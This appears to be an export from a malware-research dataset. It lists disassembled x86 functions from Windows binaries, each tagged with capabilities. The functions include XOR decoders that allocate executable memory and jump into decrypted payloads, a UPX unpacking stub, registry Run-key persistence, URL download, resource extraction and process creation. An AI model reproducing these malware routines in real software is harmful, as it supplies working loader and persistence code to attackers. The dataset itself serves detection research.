joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x402ee4
pop dword [ebp - 0x10]
mov eax, 0xf15a9f25
add eax, 0xee58fbf
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xd1a46309
add dword [ebp - 0x20], 0x7cade242
mov dword [ebp - 0x1c], 0xa2aa4aa4
add dword [ebp - 0x1c], 0x8f8901a1
mov dword [ebp - 0x18], 0xcd03a3d1
sub dword [ebp - 0x18], 0x80b75fa3
mov dword [ebp - 0x14], 0xd2b438e2
add dword [ebp - 0x14], 0x2d4bc71e
lea eax, [ebp - 0x20]
push eax
mov eax, 0xc35a8e0
add eax, 0xf40ad824
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x655ad229
sub dword [ebp - 0x20], 0xf0e868d3
mov dword [ebp - 0x1c], 0x8fd2d3a0
sub dword [ebp - 0x1c], 0x4e66722b
mov dword [ebp - 0x18], 0xf3280746
add dword [ebp - 0x18], 0x70476526
mov dword [ebp - 0x14], 0x3be8028
add dword [ebp - 0x14], 0xfc417fd8
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x53a01722
add eax, 0xaca069de
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3a8bb
push 0
call eax
mov ecx, 0x2042259a
add ecx, 0xdfbe3070
xor ebx, ebx
add ebx, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x10]
mov edx, 0x1969e72e
sub edx, 0xcc2664ca
xor dword [ebp - 4], edi
mov esi, dword [edi]
add dword [ebp - 0xc], 0xd3750ecd
xor esi, edx
mov dword [ebp - 8], 0x62e7c38b
mov dword [ebx], esi
xor dword [ebp - 8], 0x84223b4f
add ebx, 0xad8f3083
add ebx, 0x5270cf81
add edi, 0xb418a4dd
add edi, 0x4be75b27
loop 0x403002
add eax, 0x91f58303
add eax, 0x6e0bc7f8
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x1001347b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1001348a
pop dword [ebp - 0x20]
mov eax, 0xff37e161
add eax, 0x10c95329
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x5aee57de
add dword [ebp - 0x30], 0xf363ed6d
mov dword [ebp - 0x2c], 0x8cab631
sub dword [ebp - 0x2c], 0xd69769ec
mov dword [ebp - 0x28], 0x31e454d3
sub dword [ebp - 0x28], 0xe59810a5
mov dword [ebp - 0x24], 0x69b16614
sub dword [ebp - 0x24], 0x69b16614
lea eax, [ebp - 0x30]
push eax
mov eax, 0xc23638aa
add eax, 0x4dcbc75a
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x7a10e561
sub dword [ebp - 0x30], 0x59e7c0b
mov dword [ebp - 0x2c], 0x77c091c7
add dword [ebp - 0x2c], 0xc9abcfae
mov dword [ebp - 0x28], 0xd8ca1363
add dword [ebp - 0x28], 0x8aa55909
mov dword [ebp - 0x24], 0x38ae08d0
sub dword [ebp - 0x24], 0x38ae08d0
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3b19b
push 0
call eax
mov ecx, 0x2ffd2b56
sub ecx, 0x2ffcea19
xor esi, esi
add esi, eax
mov edx, 0xee7b9ed1
add edx, 0x21871d2f
add edx, dword [ebp - 0x20]
mov edi, 0xff3603d8
xor dword [ebp - 8], esi
mov ebx, dword [edx]
sub dword [ebp - 4], esi
add ebx, edi
sub dword [ebp - 0x14], edi
mov dword [esi], ebx
add dword [ebp - 0x14], eax
add esi, 4
add edx, 0xd8162e19
sub edx, 0xd8162e15
loop 0x100135a3
add eax, 0xf7c7
mov ebx, eax
add eax, 5
mov ecx, 0x3f34eec
add ecx, 0xc0cb114
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40a873
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40a882
pop dword [ebp - 0x40]
mov eax, 0x40a882
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x36fa7
push 0
mov eax, 0xbf03489f
add eax, 0x413d9839
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x3f0f
mov edx, eax
mov ebx, 0x89d5d818
add ebx, 0x766b63ac
add ebx, dword [ebp - 0x40]
mov esi, 0x591287e6
add dword [ebp - 0x3c], 0xbec2e865
mov edi, dword [ebx]
xor dword [ebp - 0x2c], 0x8b171719
xor edi, esi
add dword [ebp - 4], ebx
mov dword [edx], edi
add edx, 0x7e55c9f6
sub edx, 0x7e55c9f2
add ebx, 0xa8565650
add ebx, 0x57a9a9b4
loop 0x40a8d0
add eax, 0x4da7b702
add eax, 0xb259380d
xor ebx, ebx
add ebx, eax
add eax, 0x257c847
add eax, 0xfda837be
mov ecx, 0x287ce10f
add ecx, 0xd7c31ef1
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x10008880
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov eax, dword [0x10028164]
xor eax, ebp
mov dword [ebp + 0x398], eax
mov edx, dword [ebp + 0x3a8]
mov eax, dword [ebp + 0x3a4]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x70], edx
mov edx, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], esi
push edi
test eax, eax
je 0x10008a43
mov ecx, eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100088d1
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
mov ecx, 2
imul ecx
mov edi, eax
test edx, edx
jg 0x10008977
jl 0x100088fe
cmp edi, 0x7fffffff
ja 0x10008977
cmp edx, 0xffffffff
jl 0x10008977
jg 0x1000890d
cmp edi, 0x80000000
jb 0x10008977
cmp edi, 0x400
jg 0x1000892d
push edi
call fcn.1001c07d
add esp, 4
test al, al
je 0x1000892d
mov eax, edi
call fcn.1000bf00
mov ebx, esp
jmp 0x10008951
mov eax, edi
not eax
cmp eax, 8
jb 0x10008a91
lea eax, [edi + 8]
push eax
call fcn.1001c07d
add esp, 4
test eax, eax
je 0x10008977
mov dword [eax], esi
lea ebx, [eax + 8]
mov esi, eax
test ebx, ebx
je 0x10008977
push 0
push 0
push edi
push ebx
push 0xffffffffffffffff
push dword [ebp - 0x74]
mov byte [ebx], 0
push 0
push 3
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov edi, eax
neg edi
sbb edi, edi
and edi, ebx
jmp 0x10008979
xor edi, edi
test edi, edi
je 0x10008a43
push 0x60
push 0
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
jne 0x100089ae
push 2
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
jne 0x100089ae
call fcn.10003920
mov edi, eax
jmp 0x10008a48
push dword [ebp - 0x78]
push dword [ebp - 0x70]
push ebx
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x100089c8
call fcn.10003920
jmp 0x10008a34
push edi
push ebx
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x70], eax
test eax, eax
jne 0x100089de
call fcn.10003920
jmp 0x10008a34
push edi
push ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
cmp eax, edi
jae 0x100089f6
mov edi, 0x8007000e
jmp 0x10008a36
push eax
lea ecx, [ebp - 0x6c]
call fcn.100033c0
cmp dword [ebp - 0x6c], 0
jne 0x10008a0c
mov edi, 0x8007000e
jmp 0x10008a36
push edi
push dword [ebp - 0x70]
push edi
push dword [ebp - 0x6c]
call fcn.1000aa30
mov eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x80]
add esp, 0x10
mov byte [eax + edi], 0
push dword [ebp + 0x3b0]
push dword [ebp - 0x6c]
call fcn.100086f0
mov edi, eax
test ebx, ebx
je 0x10008a48
push ebx
call dword [sym.imp.kernel32.dll_FreeLibrary]
jmp 0x10008a48
mov edi, 0x8007000e
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x6c], eax
je 0x10008a58
lea ecx, [ebp - 0x6c]
call fcn.10005750
test esi, esi
je 0x10008a6f
nop dword [eax]
push esi
mov esi, dword [esi]
call fcn.1001c07d
add esp, 4
test esi, esi
jne 0x10008a60
mov eax, edi
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x398]
xor ecx, ebp
call fcn.1000bc54
lea esp, [ebp + 0x39c]
pop ebp
ret 0x10
push 0x80070216
call fcn.100013a0
int3
Function at 0x1000aeb0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000aeb9
ret
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1001c07d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1001c08c
pop dword [ebp - 8]
mov eax, 0x8a54e449
add eax, 0x85acdc43
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3bcda
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x35242f6c
sub ecx, 0x3523e3b8
mov edi, eax
mov edx, 0xaec1b11b
sub edx, 0x9ebecf1b
add edx, dword [ebp - 8]
mov esi, 0xf763c1ea
xor dword [ebp - 4], ebx
mov ebx, dword [edx]
xor dword [ebp - 4], edx
xor ebx, esi
sub dword [ebp - 4], edx
mov dword [edi], ebx
sub dword [ebp - 4], edx
add edi, 0x63782246
add edi, 0x9c87ddbe
add edx, 0x50c955f6
sub edx, 0x50c955f2
loop 0x1001c0e0
add eax, 0x1766f54b
sub eax, 0x1765d3a8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x20e3eef6
sub ecx, 0x10e3eef6
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x471840
Capabilities:
Check for software breakpoints

Disassembly:
mov al, 6
mov al, 0xe
mov al, 0x12
mov al, 0x24
mov al, 0x13
mov al, 0x14
mov al, 0xef
invalid
adc byte [edi - 4], dh
jbe 0x459791
jne 0x4597eb
jo 0x4597c1
mov ah, 0xa6
cld
hlt
loopne 0x459793
sbb ebp, eax
cmp byte [ecx - 0x33], al
and edx, esp
xchg dword [ecx + 0xa], ebp
inc ecx
xchg esp, eax
or byte [ebp - 0x13], dl
loop 0x459752
imul ecx, dword [edx], 0x55089441
in eax, dx
sar byte [edi + ebp*8 + 0x70], 1
hlt
rcr dword [edx], cl
movsd dword es:[edi], dword [esi]
add bl, byte [edi + 0x42]
jo 0x4597c9
cmp al, 0xcc
mov ah, 0x6e
ficomp dword [edx + 0x43]
iretd
pushal
mov esi, section.UPX1
lea edi, [esi - 0x48000]
mov dword [edi + 0x5909c], 0xcb18332e
push edi
or ebp, 0xffffffff
jmp 0x47186a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x471871
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x471860
mov eax, 1
add ebx, ebx
jne 0x471883
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x471894
jne 0x4718a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4718a4
dec eax
add ebx, ebx
jne 0x4718a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x471878
xor ecx, ecx
sub eax, 3
jb 0x4718bc
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47192e
sar eax, 1
mov ebp, eax
jmp 0x4718c7
add ebx, ebx
jne 0x4718c7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4718d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4718f8
inc ecx
add ebx, ebx
jne 0x4718e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4718d9
jne 0x4718f5
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4718d9
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x471918
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x471909
jmp 0x471866
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x471918
add edi, ecx
jmp 0x471866
pop esi
mov edi, esi
mov ecx, 0x2bd3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x471936
cmp byte [edi], 0x14
jne 0x471936
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x47193b
lea edi, [esi + 0x6e000]
mov eax, dword [edi]
or eax, eax
je 0x4719aa
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x71e9c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x71f50]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x471968
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x71f54]
or eax, eax
je 0x4719a4
mov dword [ebx], eax
add ebx, 4
jmp 0x471985
call dword [esi + 0x71f58]
popal
jmp 0x459788
Function at 0x1002f500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1002f50f
pop dword [ebp - 0xc]
mov eax, 0x1002f50f
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x25a556a4
add dword [ebp - 0x1c], 0x28aceea7
mov dword [ebp - 0x18], 0x80bf80e9
sub dword [ebp - 0x18], 0x4e8c34a4
mov dword [ebp - 0x14], 0xfa131755
sub dword [ebp - 0x14], 0xadc6d327
mov dword [ebp - 0x10], 0xb358ef5d
sub dword [ebp - 0x10], 0xb358ef5d
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x20c0ff78
sub dword [ebp - 0x1c], 0xac4e9622
mov dword [ebp - 0x18], 0x38333272
sub dword [ebp - 0x18], 0xf6c6d0fd
mov dword [ebp - 0x14], 0x98f19b26
add dword [ebp - 0x14], 0xca7dd146
mov dword [ebp - 0x10], 0x2ff3c864
sub dword [ebp - 0x10], 0x2ff3c864
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x43f6d
push 0
call eax
mov ecx, 0x396ae648
add ecx, 0xc6956c46
xor edx, edx
add edx, eax
mov ebx, 0x10051200
add ebx, dword [ebp - 0xc]
mov edi, 0x8a55c660
sub edi, 0x24ce7557
xor dword [ebp - 8], ebx
mov esi, dword [ebx]
add dword [ebp - 4], 0x6659e22b
sub esi, edi
mov dword [edx], esi
sub dword [ebp - 4], 0xc1c8933c
add edx, 4
add ebx, 0xa333bb96
sub ebx, 0xa333bb92
loop 0x1002f61e
add eax, 0xcc256a0e
sub eax, 0xcc242d03
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x30264a98
sub ecx, 0x20264a98
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x10030836
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047018]
jne 0x10030840
repz ret
jmp fcn.10030e15
Function at 0x401370
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push ebx
push esi
lea eax, [esp + 0x10]
push edi
push eax
push 0x20019
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4013bc
mov edi, dword [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
ret
mov ebx, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x10]
push edx
push ebx
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x1c]
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40140b
mov edi, dword [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
ret
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x401420
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40144e
xor eax, eax
ret
mov edx, dword [esp + 0x10]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0x14]
push edx
mov edx, dword [esp + 0x14]
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x40147b
xor eax, eax
ret
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
ret

Function at 0x401580
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10c]
push ecx
push eax
push 0x417104
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea edi, [esp + 0x10c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x214]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x208
ret
Function at 0x401610
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x400
push ebx
push esi
push edi
mov edi, dword [esp + 0x414]
mov esi, str.QuickLaunch
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40164f
test cl, cl
je 0x40164b
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40164f
add eax, 2
add esi, 2
test cl, cl
jne 0x401627
xor eax, eax
jmp 0x401654
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
push 0x400
jne 0x4016da
lea eax, [esp + 0x10]
push eax
push 0x41b794
push str.AppData
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call fcn.00401370
mov edi, str.MicrosoftInternet_ExplorerQuick_Launch
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x410]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x400
ret
lea ecx, [esp + 0x10]
push ecx
push 0x41b794
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call fcn.00401370
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x410]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x400
ret

Function at 0x401730
Capabilities:
Get common file path

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 8]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push edx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea ecx, [esp]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [esp]
mov ecx, dword [esp + 8]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp]
push eax
mov edx, dword [eax]
call dword [edx + 8]
pop ecx
ret
Function at 0x401780
Capabilities:
Get common file path

Disassembly:
sub esp, 0x618
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
push 0x26
call fcn.00401730
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x401823
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea edx, [esp + 0x310]
lea eax, [esp + 0x414]
push edx
lea ecx, [esp + 0x51c]
push eax
lea edx, [esp + 0x110]
push ecx
lea eax, [esp + 0x218]
push edx
push eax
call fcn.0040b42e
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
add esp, 0x14
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x108]
push str.Program_Files
push ecx
lea edx, [esp + 0xc]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [esp + 0x624]
mov edx, dword [esp + 0x620]
lea ecx, [esp + 4]
push eax
push ecx
push edx
call fcn.0040b680
add esp, 0xc
pop edi
add esp, 0x618
ret

Function at 0x401850
Capabilities:
Download url
Receive data

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov eax, dword [esp + 0xc]
push 0
push 0
push eax
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileA
neg eax
sbb eax, eax
pop esi
inc eax
ret

Function at 0x401900
Capabilities:
Get common file path

Disassembly:
sub esp, 0x21c
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x11c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 4]
lea edx, [esp + 0x11c]
push ecx
push edx
mov byte [esp + 0x125], 0
call fcn.00401880
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x24]
add esp, 8
rep stosd dword es:[edi], eax
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
lea edx, [esp + 0x24]
push str._I64d
push edx
call fcn.0040b77e
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x401988
pop edi
add esp, 0x21c
ret
push esi
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4019c5
push 0x4171b0
call fcn.0040b85b
mov cl, byte [esp + esi + 0x24]
add esp, 4
add cl, al
lea edi, [esp + 0x20]
mov byte [esp + esi + 0x20], cl
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x40199b
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0xa0]
mov byte [esp + esi + 0x21], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
lea ecx, [esp + 0xa0]
push eax
push 0x4171a4
push ecx
call fcn.0040b77e
lea edi, [esp + 0xac]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 1
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x228]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
pop edi
add esp, 0x21c
ret